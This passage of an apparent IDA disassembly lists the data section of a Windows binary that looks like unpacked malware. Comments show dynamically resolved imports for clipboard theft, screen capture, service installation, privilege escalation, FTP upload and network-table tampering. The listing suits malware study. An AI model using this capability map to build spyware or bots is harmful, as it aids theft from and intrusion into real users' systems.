to->ADVAPI32.RegCreateKeyExA ; sub_417362+349r ... dword_456ED8 dd 0 ; resolved to->WS2_32.gethostbyaddr ; sub_417362+823w ... dword_456EDC dd 0 ; resolved to->ADVAPI32.LookupPrivilegeValueA ; sub_417362+3D3r ... dword_456EE0 dd 0 ; resolved to->ADVAPI32.EnumServicesStatusA ; sub_417362+4F6r ... dword_456EE4 dd 0 ; sub_41FC58+B5r ... dword_456EE8 dd 0 ; sub_417362+E33r dword_456EEC dd 0 ; sub_417362+EBCr ... dword_456EF0 dd 0 ; resolved to->WININET.HttpOpenRequestA ; sub_417362+A37r ... dword_456EF4 dd 0 ; resolved to->USER32.OpenClipboard ; sub_417362+1F3r dword_456EF8 dd 0 ; resolved to->USER32.IsWindowVisible ; sub_417362+287r dword_456EFC dd 0 ; resolved to->IPHLPAPI.GetIfTable ; sub_417362+CC4r ... dword_456F00 dd 0 ; resolved to->WININET.InternetConnectA ; sub_417362+A47r ... dword_456F04 dd 0 ; resolved to->WSOCK32.recvfrom ; sub_417362+7A8w ... dword_456F08 dd 0 ; resolved to->ADVAPI32.RegCloseKey ; sub_417362+371r ... dword_456F0C dd 0 ; sub_423C7A+8Cr dword_456F10 dd 0 ; resolved to->WSOCK32.setsockopt ; sub_40A17E+34r ... dword_456F14 dd 0 ; resolved to->IPHLPAPI.GetTcpTable ; sub_417362+CD0r dword_456F18 dd 0 ; resolved to->ADVAPI32.OpenProcessToken ; sub_417362+3CBr ... dword_456F1C dd 0 ; resolved to->WS2_32.select ; sub_4022E7+B6r ... dword_456F20 dd 0 ; resolved to->GDI32.CreateDCA ; sub_417362+632r dword_456F24 dd 0 ; resolved to->USER32.GetClipboardData ; sub_417362+1FBr dword_456F28 dd 0 ; resolved to->ADVAPI32.OpenSCManagerA ; sub_417362+3F7w ... dword_456F2C dd 0 ; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_456F30 dd 0 ; sub_417362+EC4r ... dword_456F34 dd 0 ; resolved to->WS2_32.ntohl ; sub_4021E4+2Br ... dword_456F38 dd 0 ; resolved to->WS2_32.ntohs ; sub_401B6E+50r ... dword_456F3C dd 0 ; resolved to->KERNEL32.Process32First ; sub_417362+CFr dword_456F40 dd 0 ; resolved to->GDI32.GetDeviceCaps ; sub_417362+64Fr dword_456F44 dd 0 ; resolved to->USER32.FindWindowA ; sub_417362+17Ew ... dword_456F48 dd 0 dword_456F4C dd 0 ; resolved to->WS2_32.gethostname ; sub_417362+93Dr ... dword_456F50 dd 0 ; resolved to->ADVAPI32.RegisterServiceCtrlHandlerA ; sub_417362+52Er ... dword_456F54 dd 0 ; resolved to->ADVAPI32.UnlockServiceDatabase ; sub_417362+526r ... dword_456F58 dd 0 ; resolved to->WSOCK32.recv ; sub_401B6E+EEr ... dword_456F5C dd 0 ; sub_417362+E43r dword_456F60 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_417362+C7r dword_456F64 dd 0 ; resolved to->ADVAPI32.RegSetValueExA ; sub_417362+351r ... dword_456F68 dd 0 ; resolved to->WS2_32.listen ; sub_40A17E+5Dr ... dword_456F6C dd 0 ; resolved to->WS2_32.bind ; sub_40A17E+47r ... dword_456F70 dd 0 ; resolved to->WININET.InternetCloseHandle ; sub_4182BA+10Cr ... dword_456F74 dd 0 dword_456F78 dd 0 ; sub_417362+E1Er dword_456F7C dd 0 ; resolved to->WS2_32.inet_addr ; sub_401B6E+40r ... dword_456F80 dd 0 ; resolved to->GDI32.CreateDIBSection ; sub_417362+63Fr dword_456F84 dd 0 ; resolved to->GDI32.BitBlt ; sub_417362+667r dword_456F88 dd 0 ; resolved to->GDI32.CreateCompatibleDC ; sub_417362+647r dword_456F8C dd 0 ; resolved to->WS2_32.send ; sub_401642+35r ... dword_456F90 dd 0 ; resolved to->KERNEL32.GetComputerNameA ; sub_41BE01+188r ... dword_456F94 dd 0 ; resolved to->USER32.CloseClipboard ; sub_417362+203r dword_456F98 dd 0 ; sub_417362+BF5r dword_456F9C dd 0 ; resolved to->USER32.SendMessageA ; sub_40A9FE+2517r ... dword_456FA0 dd 0 ; sub_41FC58+E1r dword_456FA4 dd 0 ; resolved to->IPHLPAPI.GetUdpTabledword_456FA8 dd 0 ; resolved to->KERNEL32.GetDriveTypeA ; sub_417362+EFr dword_456FAC dd 0 ; resolved to->WS2_32.sendto ; .text:0040A490r ... dword_456FB0 dd 0 ; sub_4059BF+93r ... dword_456FB4 dd 0 ; resolved to->ADVAPI32.AdjustTokenPrivileges ; sub_41FE3F+80r ... dword_456FB8 dd 0 ; resolved to->ADVAPI32.CreateServiceA ; sub_417362+45Fw ... dword_456FBC dd 0 ; resolved to->WININET.FtpPutFileAdword_456FC0 dd 0 ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_417362+33Cr ... dword_456FC4 dd 0 ; resolved to->SHELL32.SHChangeNotifydword_456FC8 dd 0 ; resolved to->IPHLPAPI.DeleteIpNetEntry ; sub_417362+CBCr ... dword_456FCC dd 0 ; resolved to->IPHLPAPI.GetIpNetTable ; sub_417362+CAFr ... dword_456FD0 dd 0 ; resolved to->WS2_32.socket ; sub_401B6E+5Er ... dword_456FD4 dd 0 ; resolved to->WS2_32.gethostbyname ; sub_417362+816w ... dword_456FD8 dd 0 ; sub_417362+E2Br dword_456FDC dd 0 ; resolved to->WS2_32.inet_ntoa ; sub_4022E7+14r ... dword_456FE0 dd 0 ; sub_4059BF+15Er ... dword_456FE4 dd 0 ; resolved to->WS2_32.accept ; sub_417362+7E2w ... dword_456FE8 dd 0 ; resolved to->WS2_32.shutdown ; sub_41CA82+22r dword_456FEC dd 0 ; resolved to->USER32.EnumWindows ; sub_417362+262r ... dword_456FF0 dd 0 ; resolved to->WS2_32.closesocket ; sub_401B6E+322r ... dword_456FF4 dd 0 ; resolved to->WS2_32.ioctlsocket ; sub_4023BC+4Cr ... dword_456FF8 dd 0 ; sub_417362+D53r dword_456FFC dd 0 ; resolved to->WS2_32.WSASocketA ; sub_417362+855r dword_457000 dd 0 ; sub_4059BF+7Fr ... dword_457004 dd 0 ; resolved to->KERNEL32.SetErrorMode ; sub_4079AA+4Br ... dword_457008 dd 0 ; resolved to->USER32.DestroyWindow ; sub_417362+1EBr dword_45700C dd 0 ; resolved to->ADVAPI32.ImpersonateLoggedOnUser ; sub_417362+506r ... dword_457010 dd 0 ; resolved to->ADVAPI32.ChangeServiceConfig2A ; sub_417362+51Er ... dword_457014 dd 0 ; resolved to->USER32.GetClassNameAdword_457018 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_417362+AEAr dword_45701C dd 0 ; resolved to->ADVAPI32.StartServiceCtrlDispatcherA ; sub_418E0F+174r dword_457020 dd 0 ; resolved to->KERNEL32.SearchPathA ; sub_417362+F7r ... dword_457024 dd 0 ; sub_417362+137w dword_457028 dd 0 dword_45702C dd 0 ; sub_417362:loc_417602w dword_457030 dd 0 dword_457034 dd 0 ; resolved to->ADVAPI32.GetUserNameA ; sub_40A9FE+1ADFr ... dd 0 dword_45703C dd 0 dword_457040 dd 0 dword_457044 dd 0 dword_457048 dd 0 dword_45704C dd 0 dword_457050 dd 0 ; sub_417362:loc_417DD1w ... dword_457054 dd 0 dword_457058 dd 0 dword_45705C dd 0 dword_457060 dd 0 dword_457064 dd 0 dword_457068 dd 0 dword_45706C dd 0 dword_457070 dd 0 ; sub_417362:loc_418062w ... align 8 dword_457078 dd 0 dword_45707C dd 0 dword_457080 dd 0 dword_457084 dd 0 dword_457088 dd 0 dword_45708C dd 0 dword_457090 dd 0 dd 2 dup(0) dword_45709C dd 0 ; sub_417362+EE6w dword_4570A0 dd 0 dword_4570A4 dd 0 ; sub_423846:loc_4238BEr dword_4570A8 dd 0 dd 2 dup(0) dword_4570B4 dd 0 dword_4570B8 dd 0 align 10h dword_4570C0 dd 0 ; sub_418D90+Ao ... dd 5 dup(0) dword_4570D8 dd 0 ; sub_418D90+5Fr dd 2D9h dup(0) dword_457C40 dd 4 dup(0) ; sub_4022E7+Co ... dword_457C50 dd 0 align 8 dword_457C58 dd 28h dup(0) ; sub_40A9FE:loc_4132DFo ... dword_457CF8 dd 4 dup(0) ; sub_4022E7+2Bo ... dword_457D08 dd 0 ; sub_402CE9+46Cw dword_457D0C dd 0 ; sub_418FA1+5A3w ... dword_457D10 dd 0 align 8 dword_457D18 dd 41h dup(0) ; sub_42245D+60o dword_457E1C dd 0Fh dup(0) dword_457E58 dd 0 ; sub_40A9FE+1952r ... align 10h dword_457E60 dd 40h dup(0) dword_457F60 dd 0 ; sub_40A9FE+89FAr ... dword_457F64 dd 0 ; sub_418FA1+663r ... dword_457F68 dd 0 ; sub_406C69+24r ... byte_457F6C db 0 ; DATA XREF: sub_416596+D9o ; sub_420CB6+50o byte_457F6D db 3 dup(0) ; DATA XREF: sub_416596+F1o ; sub_420D29+23o dword_457F70 dd 0Dh dup(0) dword_457FA4 dd 0Dh dup(0) dword_457FD8 dd 0 ; sub_41BC0B:loc_41BC81r ... dword_457FDC dd 107h dup(0) dword_4583F8 dd 4 dup(0) dword_458408 dd 4 dup(0) byte_458418 db 0 ; DATA XREF: sub_41D2AB+Bo ; sub_41D2AB+5Aw align 4 dd 3 dup(0) dword_458428 dd 4 dup(0) dword_458438 dd 4 dup(0) dword_458448 dd 0 byte_45844C db 0 ; DATA XREF: sub_41D242+Ao ; sub_41D242+2Br align 10h dd 3 dup(0) dword_45845C dd 4 dup(0) byte_45846C db 0 ; DATA XREF: sub_41D1FD+5o ; sub_41D1FD+2Cw ... align 10h dd 3 dup(0) byte_45847C db 0 ; DATA XREF: sub_41D318+Eo ; sub_41D318+14Aw align 10h dd 3 dup(0) dword_45848C dd 4 dup(0) dword_45849C dd 4 dup(0) dword_4584AC dd 0 ; sub_41C8B1+B3w ... dword_4584B0 dd 0 ; sub_41C600+35r ... align 10h dword_4584C0 dd 0 ; sub_41C6C4+1o ... align 10h dword_4584D0 dd 0 ; sub_41C704+35r dd 86h dup(0) db 0 byte_4586ED db 3 dup(0) ; DATA XREF: sub_41C600+13o ; sub_41C65E+47o ... dword_4586F0 dd 0 ; sub_41E661+58r ... dword_4586F4 dd 0 ; sub_41E661+3Br ... dword_4586F8 dd 0 ; sub_41E7BE+8Do dword_4586FC dd 0 ; sub_41E7BE+121w ... dword_458700 dd 0 ; sub_41E661+F3r ... dd 4 dup(0) dword_458714 dd 0Dh dup(0) ; sub_41E7BE:loc_41E8FDo dword_458748 dd 0 ; sub_41EC9D+4Dr ... align 10h dword_458750 dd 0 ; sub_41EC9D+CEr ... dd 9C3h dup(0) dword_45AE60 dd 40h dup(0) ; sub_41EFEF+4Co dword_45AF60 dd 20h dup(0) dword_45AFE0 dd 0 ; sub_41F0F5:loc_41F18Ar align 8 dword_45AFE8 dd 0 ; sub_421340+5Ew ... dd 4000h dup(0) dword_46AFEC dd 0 ; sub_4221E4+63r ... dword_46AFF0 dd 0 ; sub_422147+50w dword_46AFF4 dd 0 ; sub_422147+8w ... dword_46AFF8 dd 0 ; sub_422147+1Cw ... dword_46AFFC dd 0 dword_46B000 dd 0 dword_46B004 dd 0 dword_46B008 dd 0 ; sub_422147+5Bw dword_46B00C dd 0 ; sub_422147+61w dword_46B010 dd 0 ; sub_407281+94o ... dd 9C3h dup(0) dword_46D720 dd 0 ; sub_4234A7+79w ... dword_46D724 dd 0 ; sub_402675+47r ... dword_46D728 dd 0 ; sub_41E7BE+16Bw ... dword_46D72C dd 0 ; sub_402459+15Dw ... dword_46D730 dd 0 ; .text:0040A23Cw ... dd 0A45h dup(0) db 3 dup(0) byte_47004B db 0 ; DATA XREF: .text:0043C5C9o ; .text:0043E4D1o db 3 dup(0) byte_47004F db 0 ; DATA XREF: .text:0044ED3Co dd 7FFFh dup(0) db 0 byte_49004D db 3 dup(0) ; DATA XREF: .text:0044ED98o ; .text:0044EF4Co dword_490050 dd 3 dup(0) dword_49005C dd 7FFAh dup(0) db 3 dup(0) byte_4B0047 db 0 ; DATA XREF: .text:0043C5F1o ; .text:0043E4F9o dd 13B8h dup(0) db 3 dup(0) byte_4B4F2B db 0 ; DATA XREF: .text:off_4506DCo dd 2C45h dup(0) db 3 dup(0) db 0 dd 4 dup(0) dword_4C0054 dd 507Dh dup(0) db 0 byte_4D4249 db 3 dup(0) ; DATA XREF: .text:off_43DA58o dd 5C1h dup(0) db 3 dup(0) byte_4D5953 db 0 ; DATA XREF: .text:off_44D5E0o dd 29BDh dup(0) db 0 byte_4E0049 db 3 dup(0) ; DATA XREF: .text:0044EDA8o ; .text:0044EF3Co db 3 dup(0) byte_4E004F db 0 ; DATA XREF: .text:0044ED40o dd 103Fh dup(0) dword_4E414C dd 202h dup(0) db 3 dup(0) byte_4E4957 db 0 ; DATA XREF: .text:off_447718o dd 27Ah dup(0) db 0 byte_4E5341 db 3 dup(0) ; DATA XREF: .text:off_44D5B4o dd 2B43h dup(0) db 2 dup(0) word_4F0052 dw 0 ; DATA XREF: .text:0043C5CDo ; .text:0043E4D5o dd 0B3Dh dup(0) dword_4F2D48 dd 34ADh dup(0) db 3 dup(0) byte_4FFFFF db 0 ; DATA XREF: sub_41F0F5+33Ao dd 12h dup(0) db 0 byte_500049 db 3 dup(0) ; DATA XREF: .text:off_44ED88o ; .text:off_44EF58o dword_50004C dd 2 dup(0) db 0 byte_500055 db 3 dup(0) ; DATA XREF: .text:0043C5D1o ; .text:0043E4D9o dd 4005h dup(0) dword_51006C dd 3FF5h dup(0) ; .text:0043E4DDo db 2 dup(0) word_520042 dw 0 ; DATA XREF: .text:off_44ED68o dd 2 dup(0) db 3 dup(0) byte_52004F db 0 ; DATA XREF: .text:0043C5C5o ; .text:0043E4CDo dword_520050 dd 0 ; .text:off_44EF38o dword_520054 dd 3FFDh dup(0) db 0 byte_530049 db 3 dup(0) ; DATA XREF: .text:0043C5E1o ; .text:0043E4E9o dd 935h dup(0) dword_532520 dd 47CCh dup(0) dword_544450 dd 3C0h dup(0) dword_545350 dd 3C3Dh dup(0) db 0 byte_554445 db 3 dup(0) ; DATA XREF: .text:off_43D660o dd 1C0h dup(0) dword_554B48 dd 2D3Fh dup(0) db 0 byte_560045 db 3 dup(0) ; DATA XREF: .text:0043C5E9o ; .text:0043E4F1o dd 1482h dup(0) db 3 dup(0) byte_565253 db 0 ; DATA XREF: .text:off_43A5D7o dd 2B7Eh dup(0) db 3 dup(0) byte_57004F db 0 ; DATA XREF: .text:0044ED6Co dd 3FFDh dup(0) db 2 dup(0) word_580046 dw 0 ; DATA XREF: .text:off_43BAB4o ; .text:0043BABCo ... dd 53BEh dup(0) db 2 dup(0) word_594F42 dw 0 ; DATA XREF: .text:off_44F8B8o dd 0AC38h dup(0) dword_5C0024 dd 7 dup(0) ; .text:0043C0B4o db 3 dup(0) byte_5C0043 db 0 ; DATA XREF: .text:0044ED8Co dd 2 dup(0) db 2 dup(0) word_5C004E dw 0 ; DATA XREF: .text:0044ED9Co db 2 dup(0) word_5C0052 dw 0 ; DATA XREF: .text:0044ED74o ; .text:0044EDB0o dd 2 dup(0) dword_5C005C dd 0E79h dup(0) db 0 byte_5C3A41 db 3 dup(0) ; DATA XREF: .text:off_447400o dd 0D086h dup(0) db 3 dup(0) byte_5F7C5F db 0 ; DATA XREF: .text:off_44F8E8o dd 7940h dup(0) db 0 byte_616161 db 3 dup(0) ; DATA XREF: .text:off_43DAA8o dd 1BFh dup(0) db 0 byte_616861 db 3 dup(0) ; DATA XREF: .text:off_44F89Co dd 25F3h dup(0) db 0 byte_620031 db 3 dup(0) ; DATA XREF: .text:0043C5EDo ; .text:0043E4F5o dd 0ACBh dup(0) db 0 byte_622B61 db 3 dup(0) ; DATA XREF: .text:off_44DD1Co dd 1083h dup(0) db 3 dup(0) byte_626D73 db 0 ; DATA XREF: .text:off_43D680o dd 3D3Bh dup(0) db 0 byte_636261 db 3 dup(0) ; DATA XREF: .text:off_43D750o dd 42h dup(0) db 0 byte_63636D db 3 dup(0) ; DATA XREF: .text:off_44F924o dd 75h dup(0) dword_636544 dd 248h dup(0) db 2 dup(0) word_636E66 dw 0 ; DATA XREF: .text:off_43D3FCo dd 3 dup(0) db 2 dup(0) word_636E76 dw 0 ; DATA XREF: .text:off_43D970o dd 0FEh dup(0) db 3 dup(0) byte_637273 db 0 ; DATA XREF: .text:off_446E34o dd 7Bh dup(0) db 3 dup(0) byte_637463 db 0 ; DATA XREF: .text:off_4462D0o dd 105h dup(0) db 2 dup(0) word_63787A dw 0 ; DATA XREF: .text:off_43D2C0o dd 21E1h dup(0) dword_640000 dd 1854h dup(0) db 3 dup(0) byte_646153 db 0 ; DATA XREF: .text:off_44F8DCo dd 3 dup(0) db 2 dup(0) word_646162 dw 0 ; DATA XREF: .text:off_44F9D0o dd 0FCh dup(0) db 3 dup(0) byte_646557 db 0 ; DATA XREF: .text:00437F08o dd 486h dup(0) dword_647770 dd 223Fh dup(0) db 2 dup(0) word_65006E dw 0 ; DATA XREF: .text:off_44ED20o dd 1B2Dh dup(0) dword_656D24 dd 20Ch dup(0) dword_657554 dd 87h dup(0) db 0 byte_657771 db 3 dup(0) ; DATA XREF: .text:off_43D504o dd 241Ch dup(0) dword_6607E4 dd 0 ; sub_4235A4+24o ... dword_6607E8 dd 0 ; sub_426C45+93w ... dword_6607EC dd 4 dup(0) dword_6607FC dd 0 ; sub_425777+9o byte_660800 db 0 ; DATA XREF: sub_426323+Eo ; sub_426323+48w ... align 4 dd 31h dup(0) dword_6608C8 dd 0 ; sub_4264CB:loc_4266B3w ... dword_6608CC dd 0 ; sub_4264CB+3Aw ... dd 0 dword_6608D4 dd 0 ; sub_4266D3+41r dd 7Fh dup(0) dword_660AD4 dd 0 ; sub_4266D3+50w dword_660AD8 dd 0 ; sub_4266D3+56r dd 906h dup(0) dword_662EF4 dd 0 ; sub_42381F+19o dword_662EF8 dd 293Ch dup(0) byte_66D3E8 db 0 ; DATA XREF: sub_42461A+21o ; sub_42461A+45r ... align 4 dword_66D3EC dd 0A01h dup(0) ; sub_426B6C+27o dword_66FBF0 dd 0 ; sub_423919+11Bo ... dd 18h dup(0) byte_66FC54 db 0 ; DATA XREF: sub_423919+1D5w ; sub_423919+30Ew ... align 4 dd 18h dup(0) dword_66FCB8 dd 0 ; sub_423919+270o ... dd 0E5h dup(0) db 0 byte_670051 db 3 dup(0) ; DATA XREF: .text:0043C5E5o ; .text:0043E4EDo dd 0D8Dh dup(0) dword_673688 dd 0 ; sub_423919+131r ... dword_67368C dd 0 ; sub_42461A+5r ... dword_673690 dd 0 dd 42h dup(0) dword_67379C dd 0 ; sub_424762+19Br ... dword_6737A0 dd 0 ; sub_424762+1A8r ... dword_6737A4 dd 0 ; sub_424762+1B0r ... dword_6737A8 dd 0 dword_6737AC dd 0 ; sub_424762+1C8r ... dword_6737B0 dd 0 ; sub_424762+1B8r dword_6737B4 dd 0 ; sub_424762+1C0r ... dword_6737B8 dd 0 ; sub_424A59+28r dword_6737BC dd 0 ; sub_42495D+21w ... dword_6737C0 dd 0 ; sub_424762+E2w ... dword_6737C4 dd 0 ; sub_424762+ADw ... dword_6737C8 dd 0 dword_6737CC dd 0 ; sub_42461A+Dr dword_6737D0 dd 2 dup(0) db 0 byte_6737D9 db 0 ; DATA XREF: sub_426FB8+20Eo word_6737DA dw 0 ; DATA XREF: sub_426FB8+228o dword_6737DC dd 9DBh dup(0) byte_675F48 db 0 ; DATA XREF: sub_426FB8+CBw ; sub_426FB8+1DCo align 2 word_675F4A dw 0 ; DATA XREF: sub_426FB8+D2w ; sub_426FB8+1FCw word_675F4C dw 0 ; DATA XREF: sub_426FB8+DAw align 10h word_675F50 dw 0 ; DATA XREF: sub_426FB8+F6w align 4 byte_675F54 db 0 ; DATA XREF: sub_426FB8+87r ; sub_426FB8+90w align 2 word_675F56 dw 0 ; DATA XREF: sub_426FB8+B2w dd 0 byte_675F5C db 0 ; DATA XREF: sub_426FB8+FFw byte_675F5D db 0 ; DATA XREF: sub_426FB8+106w ; sub_426FB8+209o word_675F5E dw 0 ; DATA XREF: sub_426FB8+10Dw dword_675F60 dd 0 ; sub_426FB8+1F6o dword_675F64 dd 0 word_675F68 dw 0 ; DATA XREF: sub_426FB8+BBw word_675F6A dw 0 ; DATA XREF: sub_426FB8+C5w word_675F6C dw 0 ; DATA XREF: sub_426FB8+138w ; sub_426FB8+239o word_675F6E dw 0 ; DATA XREF: sub_426FB8+145w dword_675F70 dd 0 ; sub_426FB8+1D2w dword_675F74 dd 0 dword_675F78 dd 0 dword_675F7C dd 0 ; sub_426FB8+16Bw byte_675F80 db 0 ; DATA XREF: sub_426FB8+1ACw align 10h word_675F90 dw 0 ; DATA XREF: sub_426FB8+193w align 4 word_675F94 dw 0 ; DATA XREF: sub_426FB8+188w word_675F96 dw 0 ; DATA XREF: sub_426FB8+19Cw ; sub_426FB8+251w dd 2 dup(0) db 2 dup(0) byte_675FA2 db 0 ; DATA XREF: sub_426FB8+165w align 4 dd 0Fh dup(0) dword_675FE0 dd 0Eh dup(0) dword_676018 dd 55h dup(0) dword_67616C dd 0ABh dup(0) dword_676418 dd 21h dup(0) ; sub_40A9FE:loc_40C5C2o ... byte_67649C db 0 ; DATA XREF: sub_428660+1D0o ; sub_428660+1DCw ... byte_67649D db 0 ; DATA XREF: sub_428660+1EAw word_67649E dw 0 ; DATA XREF: sub_428660+211w word_6764A0 dw 0 ; DATA XREF: sub_428660+202w ; sub_428660:loc_4289BCw word_6764A2 dw 0 ; DATA XREF: sub_428660+217w byte_6764A4 db 0 ; DATA XREF: sub_428660+21Ew byte_6764A5 db 0 ; DATA XREF: sub_428660+1E3w word_6764A6 dw 0 ; DATA XREF: sub_428660+371w ; sub_428660+3A6w dword_6764A8 dd 0 ; sub_428660+326r dword_6764AC dd 0 word_6764B0 dw 0 ; DATA XREF: sub_428660+320w ; sub_428660+380o word_6764B2 dw 0 ; DATA XREF: sub_428660+2B4w ; sub_428660+2F7r ... dword_6764B4 dd 0 ; sub_428660+363w dword_6764B8 dd 0 ; sub_428660+337w ... byte_6764BC db 0 ; DATA XREF: sub_428660+292r ; sub_428660+2A4w byte_6764BD db 0 ; DATA XREF: sub_428660+24Ew ; sub_428660+330w ... word_6764BE dw 0 ; DATA XREF: sub_428660+26Aw word_6764C0 dw 0 ; DATA XREF: sub_428660+378w ; sub_428660+3B4w word_6764C2 dw 0 ; DATA XREF: sub_428660+2ADw word_6764C4 dw 0 ; DATA XREF: sub_428660+2E4w ; sub_428660+3BCo word_6764C6 dw 0 ; DATA XREF: sub_428660+2FEw ; sub_428660+393w dword_6764C8 dd 0 dd 2 dup(0) dword_6764D4 dd 0 ; sub_428660+3A1o dword_6764D8 dd 0 byte_6764DC db 0 ; DATA XREF: sub_428660+2BFw byte_6764DD db 0 ; DATA XREF: sub_428660+2CEw word_6764DE dw 0 ; DATA XREF: sub_428660+2DEw dword_6764E0 dd 6 dup(0) dword_6764F8 dd 0 ; sub_428660+3C6r align 10h dword_676500 dd 100h dup(0) ; sub_428660+197o ... dword_676900 dd 0 ; sub_42A7D5+A4w align 8 word_676908 dw 0 ; DATA XREF: sub_42A7D5+55r ; sub_42A7D5+9Ao word_67690A dw 0 ; DATA XREF: sub_42A7D5+48r db 2 dup(0) word_67690E dw 0 ; DATA XREF: sub_42A7D5+3Br word_676910 dw 0 ; DATA XREF: sub_42A7D5+2Er word_676912 dw 0 ; DATA XREF: sub_42A7D5+21r dd 2 dup(0) dword_67691C dd 0 dword_676920 dd 0 ; sub_432104:loc_43212Dw ... dword_676924 dd 0 ; sub_432C2F:loc_432C41r ... dd 0 dword_67692C dd 0 dword_676930 dd 0 ; sub_42B39A+104r ... dword_676934 dd 0 dword_676938 dd 0 ; sub_42D6AC+2Dw ... align 10h dword_676940 dd 146450h, 0FFFFFFFFh, 4 dup(0)dword_676958 dd 1463D8h, 0FFFFFFFFh, 4 dup(0)dword_676970 dd 146428h, 0FFFFFFFFh, 4 dup(0)dword_676988 dd 146400h, 0FFFFFFFFh, 4 dup(0)dword_6769A0 dd 2 dup(0) ; .text:00434F37o dword_6769A8 dd 0 ; sub_42AA81:loc_42AB4Fr ... dd 3 dup(0) dword_6769B8 dd 0 ; sub_42AA81+C0r ... dd 4 dup(0) dword_6769CC dd 0 byte_6769D0 db 28h ; DATA XREF: .text:0042C5C6w byte_6769D1 db 0Ah ; DATA XREF: sub_42B0E9:loc_42B15Fr align 4 dword_6769D4 dd 501h dword_6769D8 dd 5 dword_6769DC dd 1 dword_6769E0 dd 1 dword_6769E4 dd 0B427C0h dd 0 dword_6769EC dd 0B427E8h ; sub_4312E3+27r ... dword_6769F0 dd 0 dword_6769F4 dd 0 ; sub_434C59+4r ... dd 0 off_6769FC dd offset aCM_unpackerPac ; DATA XREF: sub_432CE8+2Ew ; "C:\\m_unpacker\\packed.exe" dd 0 byte_676A04 db 0 ; DATA XREF: sub_42C1C0+5r ; sub_430B56+32w align 4 dword_676A08 dd 0 dword_676A0C dd 0 ; sub_430B56+97w dword_676A10 dd 1 ; sub_430D9F+4Cw ... dword_676A14 dd 0 ; sub_4320A0+38r ... dword_676A18 dd 0 align 10h dword_676A20 dd 1 ; sub_432875+4w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_432CE8:loc_432CFFo ; .text:off_6769FCo align 10h dd 3Ah dup(0) dword_676B28 dd 1 ; sub_432F35+23w ... dword_676B2C dd 0 dword_676B30 dd 1 ; sub_4334DD:loc_433547w dword_676B34 dd 0 dword_676B38 dd 0 ; sub_4339B6+7Aw ... align 10h dword_676B40 dd 0 ; sub_4339B6+5Dr dword_676B44 dd 10h dup(0) word_676B84 dw 0 ; DATA XREF: sub_433C5E+A8r word_676B86 dw 0 ; DATA XREF: sub_4339B6+6Br ; sub_433C5E+DBr ... word_676B88 dw 0 ; DATA XREF: sub_433C5E+CAr word_676B8A dw 0 ; DATA XREF: sub_433C5E+D3r ; sub_433C5E:loc_433D50r word_676B8C dw 0 ; DATA XREF: sub_433C5E+C0r word_676B8E dw 0 ; DATA XREF: sub_433C5E+B8r word_676B90 dw 0 ; DATA XREF: sub_433C5E+B0r word_676B92 dw 0 ; DATA XREF: sub_433C5E+9Er dword_676B94 dd 0 dword_676B98 dd 10h dup(0) word_676BD8 dw 0 ; DATA XREF: sub_433C5E+46r word_676BDA dw 0 ; DATA XREF: sub_4339B6:loc_433A44r ; sub_433C5E+78r ... word_676BDC dw 0 ; DATA XREF: sub_433C5E+67r word_676BDE dw 0 ; DATA XREF: sub_433C5E+70r ; sub_433C5E:loc_433CE2r word_676BE0 dw 0 ; DATA XREF: sub_433C5E+5Dr word_676BE2 dw 0 ; DATA XREF: sub_433C5E+55r word_676BE4 dw 0 ; DATA XREF: sub_433C5E+4Dr word_676BE6 dw 0 ; DATA XREF: sub_433C5E+3Er dword_676BE8 dd 0 dword_676BEC dd 0 ; sub_4339B6:loc_433B17r ... dword_676BF0 dd 0 ; sub_433988+10r ... dd 19h dup(0) dword_676C58 dd 0 ; resolved to->USER32.MessageBoxA ; sub_434D70+2Ew ... dword_676C5C dd 0 ; resolved to->USER32.GetActiveWindow ; sub_434D70:loc_434DBFr dword_676C60 dd 0 ; resolved to->USER32.GetLastActivePopup ; sub_434D70+60r dword_676C64 dd 0 align 10h dword_676C70 dd 2 dup(0) ; .text:00453D38o ... dword_676C78 dd 0 ; sub_435021+81o dword_676C7C dd 0 ; sub_435021+4Ao dword_676C80 dd 0 ; sub_435021+3Do dword_676C84 dd 0 ; sub_435021+57o dd 0 dword_676C8C dd 0 ; sub_435AE5+48w ... dd 2 dup(0) byte_676C98 db 0 ; DATA XREF: sub_4291C3:loc_42921Dr ; sub_4291C3+63w byte_676C99 db 0 ; DATA XREF: sub_4291C3+6Fr ; sub_4291C3+78w align 4 dword_676C9C dd 4E4h ; sub_4326C8+79w ... dword_676CA0 dd 3 dup(0) ; sub_4326C8+179o ... dword_676CAC dd 0 ; sub_4326C8+168w ... dd 4 dup(0) byte_676CC0 db 0 ; DATA XREF: sub_43291B:loc_432A27w ; sub_43291B:loc_432A44w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) db 0 byte_676D69 db 0, 0AAh, 0 ; DATA XREF: .text:off_446E38o dd 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_676DC0 db 0 ; DATA XREF: sub_4326C8+6Eo ; sub_4326C8+BEo ... byte_676DC1 db 0 ; DATA XREF: sub_42BF95+5Dr ; sub_4326C8+ABw ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_676EC4 dd 0 ; sub_4326C8+137w ... dword_676EC8 dd 1 ; sub_432C2F+ADw dword_676ECC dd 1 ; 